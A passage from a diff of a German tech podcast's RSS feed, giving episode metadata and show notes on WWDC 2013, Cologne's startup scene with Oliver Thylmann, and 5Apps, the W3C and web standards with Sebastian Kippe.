+<li>Ruby 2.0 ist Default in 10.9: <a href="https://twitter.com/y8/status/344430545113075712">https://twitter.com/y8/status/344430545113075712</a></li>
+<li>Tabs im Finder</li>
+<li>Tags! (Umgesetzt wahrscheinlich via Spotlight Keywords)</li>
+<li>Native Maps Anwendung und neuer Kalender</li>
+<li>Endlich ein brauchbarer Multi-Screen Support (und erweiterter Desktop auf Apple-TV)</li>
+<li>Viel unter der Haube passiert (Timer Coalescing und Compressed Memory)</li>
+<li>Neue Safari Version</li>
+<li>iCloud-Keychain</li>
+</ul>
+
+<h3>Hardware (00:20:14)</h3>
+
+<ul>
+<li>MacBook Air Update (12 Stunden Akkulaufzeit)</li>
+<li>Mac Pro
+
+<ul>
+<li><a href="http://appleinsider.com/articles/13/06/10/apple-offers-sneak-peek-at-new-cylindrical-mac-pro-assembled-in-the-usa">http://appleinsider.com/articles/13/06/10/apple-offers-sneak-peek-at-new-cylindrical-mac-pro-assembled-in-the-usa</a></li>
+<li><a href="http://www.crackajack.de/2013/06/11/darth-pro/">http://www.crackajack.de/2013/06/11/darth-pro/</a></li>
+<li>Apple’s Produktseite: <a href="http://www.apple.com/mac-pro/">http://www.apple.com/mac-pro/</a></li>
+</ul></li>
+<li>Neue AirPort Extreme (mit 802.11ac Support, IPv6 über PPPoE unklar)</li>
+<li>Neue AirPort Time Capsule (wie Extreme nur mit HDD; in 2 und 3 TB)</li>
+</ul>
+
+<h3>iOS 7 (00:27:01)</h3>
+
+<ul>
+<li><a href="http://appleinsider.com/articles/13/06/10/apple-reveals-overhauled-ios-7-with-flatter-more-colorful-design">http://appleinsider.com/articles/13/06/10/apple-reveals-overhauled-ios-7-with-flatter-more-colorful-design</a></li>
+<li>Vollständig überarbeitete GUI</li>
+<li>Besseres Siri</li>
+<li>Besseres Multitasking</li>
+<li>AirDrop und Control Center</li>
+<li>Find My iPhone Activation Lock für mehr Sicherheit gegen Diebstahl</li>
+<li>iTunes Radio</li>
+</ul>
+
+<h3>Sonstiges (00:37:40)</h3>
+
+<ul>
+<li>Ende des Jahres wohl auch endlich mal ein neues iWork und zum Glück endlich iWork via iCloud</li>
+<li>Im (deutschen) Apple Store Zahlung via PayPal möglich: <a href="http://store.apple.com/de/help/payments#payments">http://store.apple.com/de/help/payments#payments</a></li>
+<li>Gerade Apple Geld für 20% weniger: <a href="http://www.rewe.de/besser-einkaufen/services-im-markt/itunes-geschenkkarte.html">www.rewe.de/besser-einkaufen/services-im-markt/itunes-geschenkkarte.html</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST016" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:03:22" title="Neues OS X: Mavericks" />
+
+ <psc:chapter start="00:20:14" title="Hardware" />
+
+ <psc:chapter start="00:27:01" title="iOS 7" />
+
+ <psc:chapter start="00:37:40" title="Sonstiges" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST017 - developer-whisperer.DLL</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Oliver Thylmann (@othylmann) über Gründung (in Köln), Start-Ups und die Firma der Zukunft</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst017.mp3" length="50891453" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST017</guid>
+ <pubDate>Sun, 23 Jun 2013 16:41:14 +0200</pubDate>
+ <itunes:duration>01:10:19</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Wir sprechen mit Oliver Thylmann über Köln als
+Gründerstadt, Gründungen im Allgemeinen, die Firma der Zukunft und und
+und. Dabei schweifen wir (also Oli) immer wieder mal ab, haben uns dann
+aber doch ganz gut im Zaum gehalten und ein gutes zeitiges Ende
+gefunden. Vielen Dank an @luebken für die Shownotes!
+
+### Unser Gast (00:00:00)
+
+ * Oliver Thylmann (@othylmann), Kölner Serial Entrepreneur
+ * Search Engine Spamming in der Jugend
+ * …, Ligatus, Ormigo, Adcloud, …
+ * Jetzt: Wieder was neues mit Henning in Köln
+
+### Köln als Gründungsstadt (00:04:52)
+
+ * Berlin ist weniger “kompakt†als z.B. Köln
+ * Oli: “Der noch nicht eröffnete Berliner Flughafen kostet so viel im Jahr, wie in deutsche Startups investiert wirdâ€
+ * Köln hat eine gute Lage und ist gut angebunden
+ * Köln wird mehr und mehr besser vernetzt und es beginnt sich zu clustern
+ * Wir brauchen noch ein Oberholz (http://www.sanktoberholz.de/). Ein
+ Kaffee wie in Berlin wo alle Leute sich so treffen. Im Moment muss
+ so was wie der Startplatz herhalten.
+ * Virtuelle Firma: 150 km auseinander. Man trifft 2-3 Tage die Woche in einem Kaffee. Und es gibt Meetingräume.
+ * Oli sieht Köln als Gründerstadt. Wir haben recht viel. Nur es ist nicht so “lautâ€.
+ * Ein paar alte Beispiele: QSC, Sedo, Onvista, Is. Teledata
+ * Es fängt langsam an das sich Leute lose treffen. z.B. im Startplatz
+ * Klarstellung: Das Homeoffice ist **nicht** in der Südstadt!
+ * Vom Gefühl ist der Spot in der Ecke Mediapark, Friesenplatz, Brüssler Platz.
+ * Die Leute gehen nach Berlin und kommen teilweise wieder zurück.
+ * z.B.: Ich baue ein Mobile Startup. Warum muss ich nach Berlin, wenn Vodafone etc. hier sind?
+
+### Virtuelles Unternehmen, Remote Arbeiten (00:17:03)
+
+ * Was funktioniert als “virtuelles†Unternehmen gut? z.B. Wordpress, Github funktionieren gut. Das sind Produktfirmen.
+ * Wenn es nicht aus den Leuten raus kommt, dann brauchst Du wieder einen Produktmensch.
+ * Gerne virtuell. Aber ab und zu muss man sich treffen.
+ * Erste Gehversuche mit einem Remote-Entwickler: Ständiger Google-Hangout.
+ * “Es geht nicht darum was Du vorne in die Leitung rein pummst, sondern das was hinten raus kommt.†(Dee Hock, http://en.wikipedia.org/wiki/Dee_Hock)
+
+### Die Firma der Zukunft (00:20:09)
+
+ * Wie setze ich eine Firma auf? Warum arbeiten die Leute in einer Firma?
+ * Was sind die Probleme die wir heute lösen?
+ * Gary Hammel: Future of Management (http://www.youtube.com/watch?v=K3-_IY66tpI)
+ * Arbeiten und Management im Wandel: Aber was ist das “andere†Management Prinzip?
+ * Firmen müssen innovativ am Kunden arbeiten. Der “klassische†Manager ist nicht beim Kunden! Wie kann man den Leuten am Kunden Entscheidungsmacht geben?
+ * In einem Hotel: Jeder Mitarbeiter hat 2000 USD um Probleme von Kunden zu lösen.
+ * Whole Foods (www.wholefoodsmarket.com) - Stacked Ranking.
+ * Valve (www.valvesoftware.com) - Es gibt keine Chef, sondern ein Handbuch: http://assets.sbnation.com/assets/1074301/Valve_Handbook_LowRes.pdf
+ * Valve hat aber auch Stacked Ranking. Es werden zwar nicht die unteren 5% gefeuert, trotzdem gibt es direktes Feedback.
+ * Oli Fragt sich: Wie würde die Firma aussehen wo die sehr guten Leuten arbeiten wenn es denen erstmal nicht mehr um Geld geht.
+ * Oli: “Die guten Leute sind besser besser, als sie teurer sindâ€; überproportional war das Wort, was Oli suchte :)
+ * Nettes Buch: Antifragile: Things That Gain from Disorder von Nassim Nicholas Taleb (http://www.amazon.de/Antifragile-Things-That-Gain-Disorder/dp/1400067820)
+ * Wie baue ich etwas auf, so dass ich ein Grundrauschen habe um nicht zu sterben und dann irgendwann die richtige Idee zu haben.
+ * Jeff Bezos: “Du musst viele Sachen ausprobieren, um Innovation zu habenâ€
+ * Welche Freiheiten muss ich den Leuten geben?
+
+### Developer Loveland (00:27:30)
+
+ * Aktuelle Idee von Oli: Developer Loveland, kurz DLL ^^
+ * Gesucht: Gute Entwickler? Innovation? Grundrauschen?
+ * Leuten die Möglichkeit geben, Ideen auszuprobieren; 10-20% der Sachen werden funktionieren und der Rest wird auch irgendwie nutzbar sein
+ * Wenn man das macht braucht man als erstes Menschen die Prototypen bauen können.
+ * DLL könnte ein Safety Net sein und man bekommst so die guten Leute die nicht den Sprung zur Gründung wagen.
+ * Wir überlegen, wie groß das ganze sein müsste und Oli kommt zum Schluß, dass es gerade in groß richtig Sinn macht.
+
+### Wert von Ideen, Jobs, SaaS Pricing (00:37:50)
+
+ * NDAs sind Quatsch. Jeder VC lehnt es ab und sagt “dann erzähl es mir halt nichtâ€.
+ * Umsetzung/Ausführung ist alles bei einer Idee
+ * Oli: Man kann über die Samwers sagen was man will, aber Execution können die.
+ * Ripple-Network (https://ripple.com/) - Bitcoin Richtung, Remittance Market; Größter Player in Indien. Aktuell: 5,8 Millarden USD Gebühren der Banken damit Inder weltweit Geld nach Hause schicken können.
+ * Quantified Self: Es gibt einen BH der den Blutfluss misst und Brustkrebs erkennt.
+ * “Andere Seite Flachbildschirm Jobsâ€
+ * Dirk erzählt vom wenigen Spielraum, die Autohändler beim Leasing am Interface haben
+ * SaaS und Enterprise Markt: Entscheidungen kommen immer mehr von unten
+ * Oli prangert das Preismodel von Github Enterprise an!
+
+### Glückliche Kunden (00:49:44)
+
+ * Net Promoter Score: Würdest Du uns weiter empfehlen? 0-10. http://en.wikipedia.org/wiki/Net_Promoter
+ * Call-Center: Da wird nichts weitergeleitet, sondern wenn man sich einem Problem angenommen hat löst man es auch.
+ * “Glückliche Kunden erzählen es 10 Leuten, unglückliche erzählen es 1000â€
+ * Dirk erzählt von dänischen Ferienhäusern, deren Vermittlung und Sommerfesten
+ * Was gibt es noch? Das einzige was es noch gibt? Innovation am Kunden!
+ * “Wer ist denn heutzutage noch intelligenter als ein 30 Minuten Gesurfter?â€
+ * Agilgedöns, “der ganze agile Scheiß.â€
+ * “If you don’t like change. You like irrelevancy even less.â€
+ * Was ist ein Manager in der Zukunft: Jemand mit Marktverständnis und der ein Netzwerk hat.
+ * Erfahrung ist unmenschlich wichtig. z.B. von Klaus Hommels.
+
+### Zum Abschluß (01:01:03)
+
+ * Interactive Cologne: Die Kölner SXSW (South By South West) - http://interactive-cologne.com
+ * Hack on Startup in der Trinitatis Kirche in Köln. Ist wirklich gut geworden. Gute Pitches. Gute VCs. Gute Hacker.
+ * Man trifft die Kölner Szene.
+ * Warum der Startplatz: "Es gibt Menschen die sich um die Spülmaschine kümmern."
+ * Unperfekt Haus (http://www.unperfekthaus.de/). Geben nur 10 € aus für eine Putzfrau. Er nimmt Eintritt für nicht Künstler die durch das Haus gehen.
+ * Oli hat jede Geekstammtisch Folge gehört! \o/]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Wir sprechen mit Oliver Thylmann über Köln als
+Gründerstadt, Gründungen im Allgemeinen, die Firma der Zukunft und und
+und. Dabei schweifen wir (also Oli) immer wieder mal ab, haben uns dann
+aber doch ganz gut im Zaum gehalten und ein gutes zeitiges Ende
+gefunden. Vielen Dank an <a href="https://twitter.com/luebken">@luebken</a> für die Shownotes!</p>
+
+<h3>Unser Gast (00:00:00)</h3>
+
+<ul>
+<li>Oliver Thylmann (<a href="https://twitter.com/othylmann">@othylmann</a>), Kölner Serial Entrepreneur</li>
+<li>Search Engine Spamming in der Jugend</li>
+<li>…, Ligatus, Ormigo, Adcloud, …</li>
+<li>Jetzt: Wieder was neues mit Henning in Köln</li>
+</ul>
+
+<h3>Köln als Gründungsstadt (00:04:52)</h3>
+
+<ul>
+<li>Berlin ist weniger “kompakt†als z.B. Köln</li>
+<li>Oli: “Der noch nicht eröffnete Berliner Flughafen kostet so viel im Jahr, wie in deutsche Startups investiert wirdâ€</li>
+<li>Köln hat eine gute Lage und ist gut angebunden</li>
+<li>Köln wird mehr und mehr besser vernetzt und es beginnt sich zu clustern</li>
+<li>Wir brauchen noch ein Oberholz (<a href="http://www.sanktoberholz.de/">http://www.sanktoberholz.de/</a>). Ein
+Kaffee wie in Berlin wo alle Leute sich so treffen. Im Moment muss
+so was wie der Startplatz herhalten.</li>
+<li>Virtuelle Firma: 150 km auseinander. Man trifft 2-3 Tage die Woche in einem Kaffee. Und es gibt Meetingräume.</li>
+<li>Oli sieht Köln als Gründerstadt. Wir haben recht viel. Nur es ist nicht so “lautâ€.
+
+<ul>
+<li>Ein paar alte Beispiele: QSC, Sedo, Onvista, Is. Teledata</li>
+</ul></li>
+<li>Es fängt langsam an das sich Leute lose treffen. z.B. im Startplatz</li>
+<li>Klarstellung: Das Homeoffice ist <strong>nicht</strong> in der Südstadt!</li>
+<li>Vom Gefühl ist der Spot in der Ecke Mediapark, Friesenplatz, Brüssler Platz.</li>
+<li>Die Leute gehen nach Berlin und kommen teilweise wieder zurück.
+
+<ul>
+<li>z.B.: Ich baue ein Mobile Startup. Warum muss ich nach Berlin, wenn Vodafone etc. hier sind?</li>
+</ul></li>
+</ul>
+
+<h3>Virtuelles Unternehmen, Remote Arbeiten (00:17:03)</h3>
+
+<ul>
+<li>Was funktioniert als “virtuelles†Unternehmen gut? z.B. Wordpress, Github funktionieren gut. Das sind Produktfirmen.</li>
+<li>Wenn es nicht aus den Leuten raus kommt, dann brauchst Du wieder einen Produktmensch.</li>
+<li>Gerne virtuell. Aber ab und zu muss man sich treffen.</li>
+<li>Erste Gehversuche mit einem Remote-Entwickler: Ständiger Google-Hangout.</li>
+<li>“Es geht nicht darum was Du vorne in die Leitung rein pummst, sondern das was hinten raus kommt.†(Dee Hock, <a href="http://en.wikipedia.org/wiki/Dee_Hock">http://en.wikipedia.org/wiki/Dee_Hock</a>)</li>
+</ul>
+
+<h3>Die Firma der Zukunft (00:20:09)</h3>
+
+<ul>
+<li>Wie setze ich eine Firma auf? Warum arbeiten die Leute in einer Firma?</li>
+<li>Was sind die Probleme die wir heute lösen?</li>
+<li>Gary Hammel: Future of Management (<a href="http://www.youtube.com/watch?v=K3-_IY66tpI">http://www.youtube.com/watch?v=K3-_IY66tpI</a>)</li>
+<li>Arbeiten und Management im Wandel: Aber was ist das “andere†Management Prinzip?</li>
+<li>Firmen müssen innovativ am Kunden arbeiten. Der “klassische†Manager ist nicht beim Kunden! Wie kann man den Leuten am Kunden Entscheidungsmacht geben?
+
+<ul>
+<li>In einem Hotel: Jeder Mitarbeiter hat 2000 USD um Probleme von Kunden zu lösen.</li>
+<li>Whole Foods (<a href="http://www.wholefoodsmarket.com">www.wholefoodsmarket.com</a>) - Stacked Ranking.</li>
+<li>Valve (<a href="http://www.valvesoftware.com">www.valvesoftware.com</a>) - Es gibt keine Chef, sondern ein Handbuch: <a href="http://assets.sbnation.com/assets/1074301/Valve_Handbook_LowRes.pdf">http://assets.sbnation.com/assets/1074301/Valve_Handbook_LowRes.pdf</a></li>
+</ul></li>
+<li>Valve hat aber auch Stacked Ranking. Es werden zwar nicht die unteren 5% gefeuert, trotzdem gibt es direktes Feedback.</li>
+<li>Oli Fragt sich: Wie würde die Firma aussehen wo die sehr guten Leuten arbeiten wenn es denen erstmal nicht mehr um Geld geht.</li>
+<li>Oli: “Die guten Leute sind besser besser, als sie teurer sindâ€; überproportional war das Wort, was Oli suchte :)</li>
+<li>Nettes Buch: Antifragile: Things That Gain from Disorder von Nassim Nicholas Taleb (<a href="http://www.amazon.de/Antifragile-Things-That-Gain-Disorder/dp/1400067820">http://www.amazon.de/Antifragile-Things-That-Gain-Disorder/dp/1400067820</a>)
+
+<ul>
+<li>Wie baue ich etwas auf, so dass ich ein Grundrauschen habe um nicht zu sterben und dann irgendwann die richtige Idee zu haben.</li>
+</ul></li>
+<li>Jeff Bezos: “Du musst viele Sachen ausprobieren, um Innovation zu habenâ€</li>
+<li>Welche Freiheiten muss ich den Leuten geben?</li>
+</ul>
+
+<h3>Developer Loveland (00:27:30)</h3>
+
+<ul>
+<li>Aktuelle Idee von Oli: Developer Loveland, kurz DLL ^^</li>
+<li>Gesucht: Gute Entwickler? Innovation? Grundrauschen?</li>
+<li>Leuten die Möglichkeit geben, Ideen auszuprobieren; 10-20% der Sachen werden funktionieren und der Rest wird auch irgendwie nutzbar sein</li>
+<li>Wenn man das macht braucht man als erstes Menschen die Prototypen bauen können.</li>
+<li>DLL könnte ein Safety Net sein und man bekommst so die guten Leute die nicht den Sprung zur Gründung wagen.</li>
+<li>Wir überlegen, wie groß das ganze sein müsste und Oli kommt zum Schluß, dass es gerade in groß richtig Sinn macht.</li>
+</ul>
+
+<h3>Wert von Ideen, Jobs, SaaS Pricing (00:37:50)</h3>
+
+<ul>
+<li>NDAs sind Quatsch. Jeder VC lehnt es ab und sagt “dann erzähl es mir halt nichtâ€.</li>
+<li>Umsetzung/Ausführung ist alles bei einer Idee
+
+<ul>
+<li>Oli: Man kann über die Samwers sagen was man will, aber Execution können die.</li>
+<li>Ripple-Network (<a href="https://ripple.com/">https://ripple.com/</a>) - Bitcoin Richtung, Remittance Market; Größter Player in Indien. Aktuell: 5,8 Millarden USD Gebühren der Banken damit Inder weltweit Geld nach Hause schicken können.</li>
+</ul></li>
+<li>Quantified Self: Es gibt einen BH der den Blutfluss misst und Brustkrebs erkennt.</li>
+<li>“Andere Seite Flachbildschirm Jobsâ€</li>
+<li>Dirk erzählt vom wenigen Spielraum, die Autohändler beim Leasing am Interface haben</li>
+<li>SaaS und Enterprise Markt: Entscheidungen kommen immer mehr von unten</li>
+<li>Oli prangert das Preismodel von Github Enterprise an!</li>
+</ul>
+
+<h3>Glückliche Kunden (00:49:44)</h3>
+
+<ul>
+<li>Net Promoter Score: Würdest Du uns weiter empfehlen? 0-10. <a href="http://en.wikipedia.org/wiki/Net_Promoter">http://en.wikipedia.org/wiki/Net_Promoter</a></li>
+<li>Call-Center: Da wird nichts weitergeleitet, sondern wenn man sich einem Problem angenommen hat löst man es auch.</li>
+<li>“Glückliche Kunden erzählen es 10 Leuten, unglückliche erzählen es 1000â€</li>
+<li>Dirk erzählt von dänischen Ferienhäusern, deren Vermittlung und Sommerfesten</li>
+<li>Was gibt es noch? Das einzige was es noch gibt? Innovation am Kunden!</li>
+<li>“Wer ist denn heutzutage noch intelligenter als ein 30 Minuten Gesurfter?â€</li>
+<li>Agilgedöns, “der ganze agile Scheiß.â€</li>
+<li>“If you don’t like change. You like irrelevancy even less.â€</li>
+<li>Was ist ein Manager in der Zukunft: Jemand mit Marktverständnis und der ein Netzwerk hat.</li>
+<li>Erfahrung ist unmenschlich wichtig. z.B. von Klaus Hommels.</li>
+</ul>
+
+<h3>Zum Abschluß (01:01:03)</h3>
+
+<ul>
+<li>Interactive Cologne: Die Kölner SXSW (South By South West) - <a href="http://interactive-cologne.com">http://interactive-cologne.com</a></li>
+<li>Hack on Startup in der Trinitatis Kirche in Köln. Ist wirklich gut geworden. Gute Pitches. Gute VCs. Gute Hacker.</li>
+<li>Man trifft die Kölner Szene.</li>
+<li>Warum der Startplatz: &quot;Es gibt Menschen die sich um die Spülmaschine kümmern.&quot;</li>
+<li>Unperfekt Haus (<a href="http://www.unperfekthaus.de/">http://www.unperfekthaus.de/</a>). Geben nur 10 € aus für eine Putzfrau. Er nimmt Eintritt für nicht Künstler die durch das Haus gehen.</li>
+<li>Oli hat jede Geekstammtisch Folge gehört! \o/</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST017" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Unser Gast" />
+
+ <psc:chapter start="00:04:52" title="Köln als Gründungsstadt" />
+
+ <psc:chapter start="00:17:03" title="Virtuelles Unternehmen, Remote Arbeiten" />
+
+ <psc:chapter start="00:20:09" title="Die Firma der Zukunft" />
+
+ <psc:chapter start="00:27:30" title="Developer Loveland" />
+
+ <psc:chapter start="00:37:50" title="Wert von Ideen, Jobs, SaaS Pricing" />
+
+ <psc:chapter start="00:49:44" title="Glückliche Kunden" />
+
+ <psc:chapter start="01:01:03" title="Zum Abschluß" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST018 - Runde Ecken</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Sebastian Kippe (@skddc) über 5Apps, Arbeiten beim W3C, HTTP 2.0, DevOps und mehr…</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst018.mp3" length="62081670" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST018</guid>
+ <pubDate>Fri, 28 Jun 2013 18:09:55 +0200</pubDate>
+ <itunes:duration>01:25:51</itunes:duration>
+ <itunes:summary><![CDATA[### Synopsis
+Der Geekstammtisch wird volljährig! Dieses mal sprachen wir mit Sebastian Kippe (@skddc) und sprechen über Hacking Trips, sein Startup 5Apps, das Arbeiten beim W3C, HTTP 2.0, IPv6, SSL, DevOps. Zum Abschluss noch ein ganz besonderes Thema: BitCoins und Namecoin.
+
+### Unser Gast (00:00:00)
+
+* Sebastian Kippe (@skddc)
+* Gründer von 5Apps ([https://5apps.com/](https://5apps.com/))
+* Railscamp Germany 2013 Organizer
+* Arbeitet an remoteStorage ([http://remotestorage.io](http://remotestorage.io)) und anderen Open Source Projekten
+
+### Hackertrips (00:02:23)
+
+* AfricaHackTrip 2013: http://africahacktrip.org
+* Geeksphone (Firefox OS developer device): [http://www.geeksphone.com](http://www.geeksphone.com)
+* Hacker Beach: [http://hackerbeach.org](http://hackerbeach.org)
+ * Einfach über Weihnachten mal ein Flugticket buchen und kommen.
+
+### 5Apps (00:06:08)
+
+* Haben eine Vision und implementieren verschiedene Produkte, um diese zu erreichen.
+* sind WC3 Mitglied: [https://5apps.com/press/2013-05-28-5apps-joins-w3c-to-help-shape-the-web](https://5apps.com/press/2013-05-28-5apps-joins-w3c-to-help-shape-the-web)
+* Wir diskutieren über die aktuellen Trends im HTML5/CSS/… Sektor
+* Die 5Apps Vision: Alle Anwendungssoftware für den User soll auf der der Open Web Platform aufbauen.
+
+### Web Apps (00:08:56)
+
+* Packaging von client-side Web Anwendungen
+ * Packaged Web Apps (Widgets) - Packaging and XML Configuration: [http://www.w3.org/TR/widgets/](http://www.w3.org/TR/widgets/)
+ * Open Web App manifest: [https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest](https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest)
+* Ausflug: Java Web Start ([https://en.wikipedia.org/wiki/Java_Web_Start](https://en.wikipedia.org/wiki/Java_Web_Start)) und Java Applets ([https://en.wikipedia.org/wiki/Java_applet](https://en.wikipedia.org/wiki/Java_applet)).
+* Dart: [http://en.wikipedia.org/wiki/Dart_(programming_language)](http://en.wikipedia.org/wiki/Dart_(programming_language))
+* Produkte bei Google Apps for Business: [http://www.google.com/enterprise/apps/business/products.html](http://www.google.com/enterprise/apps/business/products.html)
+* Google Reader Replacement: Basti und Basti benutzen [https://feedbin.me/](https://feedbin.me/)
+* **DIE** RSS Mailing Liste von Brent Simmons: http://inessential.com/2013/03/17/rss-sync_mailing_list
+
+### 5Apps Deploy und Storage & remoteStorage (00:16:00)
+
+* Das erste Produkt von 5Apps: 5Apps Deploy
+* PaaS für Client-side JavaScript Apps
+* Hilft zusätzlich zu einem "git push"-Deploy z.B. beim Packaging
+* Weitere zukünftige Dienste von 5Apps Deploy:
+ * JavaScript Exception Tracking
+ * Web store/payment integration
+* 5Apps Storage
+ * work in progress (schon experimentell kostenlos bei jedem Account dabei)
+ * basiert auf remoteStorage (siehe oben)
+ * Idee: Daten liegen nicht beim App-Anbieter (z.B. Google), sondern wo der User das will
+* remoteStorage ist ein Protokoll für einen Key-Value Speicher [http://remotestorage.io/](http://remotestorage.io/) [http://tools.ietf.org/html/draft-dejong-remotestorage-01](http://tools.ietf.org/html/draft-dejong-remotestorage-01)
+* Webfinger: [https://code.google.com/p/webfinger/](https://code.google.com/p/webfinger/)
+* remoteStorage: Umziehen des Anbieters?
+ * aktuell nicht direkt vorgesehen, wenn dann muss das der Client machen, oder der Serveranbieter selbst anbieten
+ * Google Takeout: [https://www.google.com/takeout](https://www.google.com/takeout)
+* Verschiedene Apps sollen die selben Daten benutzen können
+ * und eben nicht wie bei iCloud!
+* Konflikte werden im Moment bei remoteStorage noch wenig berücksichtigt :-/
+* remoteStorage.js funktioniert auch offline
+* ownCloud: [http://owncloud.org](http://owncloud.org/)
+* Unhosted: https://unhosted.org
+* 5Apps benutzt Riak für ihr remoteStorage Produkt und App Hosting
+
+### Das W3C, DRM & App Stores (00:27:10)
+
+* 5Apps ist unter anderem in der Web Apps Working Group: http://www.w3.org/2008/webapps/
+* Sebastian ist schon länger in der HTML Working Group
+* W3C bei Github: [https://github.com/w3c](https://github.com/w3c)
+ * https://github.com/w3c/manifest
+* Der dritte wichtige Schritt bei 5Apps: App Store(s)
+* Freie Apps, selbst gehostet, ohne Lock-In
+* Open Source als Kern eines Unternehmens gibt es immer häufiger
+ * z.B. Basho mit Riak
+* Früher™ war das Web schon mal offener
+* Wir schweifen kurz richtung Videostandards für’s Web ab: webm/VP8, h.265
+* Gedankenexperiment: h.264 freikaufen
+* Das W3C und DRM: [http://www.w3.org/QA/2013/03/drm_and_the_open_web.html](http://www.w3.org/QA/2013/03/drm_and_the_open_web.html)
+ * Encrypted Media Extensions: [https://dvcs.w3.org/hg/html-media/raw-file/tip/encrypted-media/encrypted-media.html](https://dvcs.w3.org/hg/html-media/raw-file/tip/encrypted-media/encrypted-media.html)
+ * Proprietäre DRM-Module
+ * eigentlich nicht vereinbar mit den Zielen des W3Cs [http://www.w3.org/Consortium/mission#principles](http://www.w3.org/Consortium/mission#principles)
+
+### HTTP 2.0, IPv6, SSL (00:40:15)
+
+* HTTP 2.0 (http://en.wikipedia.org/wiki/HTTP_2.0) und SPDY ([http://en.wikipedia.org/wiki/SPDY](http://en.wikipedia.org/wiki/SPDY))
+* 5Apps unterstützt SPDY für das App Hosting und für den 5Apps Storage
+* …aber kein IPv6 :-/
+* Custom Domain SSL ist teuer
+ * 20 USD/Monat bei Heroku: https://addons.heroku.com/ssl
+ * 600 USD/Monat bei AWS CloudFront: [http://aws.amazon.com/cloudfront/custom-ssl-domains/](http://aws.amazon.com/cloudfront/custom-ssl-domains/)
+* In neuen Browsern gibt es keine Warnungen mehr bei unsicherem Content, sondern der wird geblockt
+
+### Ops und Infrastruktur bei 5Apps (00:46:51)
+
+* 5Apps: zwei Vollzeit Entwickler und ein Infrastruktur-Entwickler: [https://5apps.com/about#team](https://5apps.com/about#team)
+* Brightbox Cloud: [http://brightbox.com/](http://brightbox.com/)
+ * UK, gute API, Support in fog ([http://fog.io/](http://fog.io/))
+* Im Einsatz bei 5Apps: Rails, Sinatra, Unicorn, Resque, Gitolite
+* nginx als Webserver, Loadbalancer (intern und extern)
+* Riak: [http://basho.com/riak/](http://basho.com/riak/)
+* chef: [http://www.opscode.com/chef/](http://www.opscode.com/chef/)
+ * Infrastruktur
+ * Deployment ([http://community.opscode.com/cookbooks/application](http://community.opscode.com/cookbooks/application))
+ * Knife Spork [https://github.com/jonlives/knife-spork](https://github.com/jonlives/knife-spork)
+* Travis CI Pro: [http://travis-ci.com/](http://travis-ci.com/)
+ * CI
+ * Asset Compilation
+ * Deployment
+ * leider noch invite-only
+
+### Travis Foundation & RailsGirls: Summer of Code (00:57:00)
+
+* Travis Foundation: [http://about.travis-ci.org/foundation](http://about.travis-ci.org/foundation/)
+* RailsGirls Summer of Code: [http://railsgirlssummerofcode.org](http://railsgirlssummerofcode.org)
+
+### Self-Hosted Cloud, GPG, Apple und HTML5 (01:00:08)
+
+* 5Apps strebt auch langfristig self-hosting an
+* SURFnet: [http://www.surfnet.nl/en/Pages/default.aspx](http://www.surfnet.nl/en/Pages/default.aspx)
+* SAML [http://en.wikipedia.org/wiki/Security_Assertion_Markup_Language](http://en.wikipedia.org/wiki/Security_Assertion_Markup_Language)
+* Anynines [http://www.anynines.com](http://www.anynines.com/)
+* CloudFoundry [http://www.cloudfoundry.com](http://www.cloudfoundry.com)
+* GPGMail für OS X [https://gpgtools.org/gpgmail/index.html](https://gpgtools.org/gpgmail/index.html)
+* ThinkPad X1 [http://shop.lenovo.com/us/en/laptops/thinkpad/x-series/x1-carbon/index.html](http://shop.lenovo.com/us/en/laptops/thinkpad/x-series/x1-carbon/index.html)
+* OS X Mavericks Safari [http://www.apple.com/osx/preview/#safari](http://www.apple.com/osx/preview/#safari)
+* Apple Mac Pro website [http://www.apple.com/mac-pro](http://www.apple.com/mac-pro/)
+* iWork for iCloud [https://www.apple.com/iwork-for-icloud](https://www.apple.com/iwork-for-icloud/)
+* XHTML [http://www.w3.org/TR/xhtml1/](http://www.w3.org/TR/xhtml1/)
+* XHTML Fehlerseite für invalides Markup [http://cafe.elharo.com/wp-content/uploads/2008/06/01fig02.png](http://cafe.elharo.com/wp-content/uploads/2008/06/01fig02.png)
+
+### Bitcoin / Namecoin (01:17:30)
+
+* Mozilla Persona :[https://persona.org](https://persona.org)
+* Bitcoin: [https://en.bitcoin.it/wiki/Main_Page](https://en.bitcoin.it/wiki/Main_Page)
+* Namecoin: [http://dot-bit.org/Namecoin](http://dot-bit.org/Namecoin) [http://dot-bit.org/Main_Page](http://dot-bit.org/Main_Page)
+* Bitcoin Meetups im Startplatz: [http://www.startplatz.de/event/2-bitcoin-konferenz](http://www.startplatz.de/event/2-bitcoin-konferenz)
+* Bitcoin Kiez: [http://bitcoinkiez.wordpress.com](http://bitcoinkiez.wordpress.com)
+* Room 77: [http://room77.de](http://room77.de)]]></itunes:summary>
+ <description><![CDATA[<h3>Synopsis</h3>
+
+<p>Der Geekstammtisch wird volljährig! Dieses mal sprachen wir mit Sebastian Kippe (<a href="https://twitter.com/skddc">@skddc</a>) und sprechen über Hacking Trips, sein Startup 5Apps, das Arbeiten beim W3C, HTTP 2.0, IPv6, SSL, DevOps. Zum Abschluss noch ein ganz besonderes Thema: BitCoins und Namecoin.</p>
+
+<h3>Unser Gast (00:00:00)</h3>
+
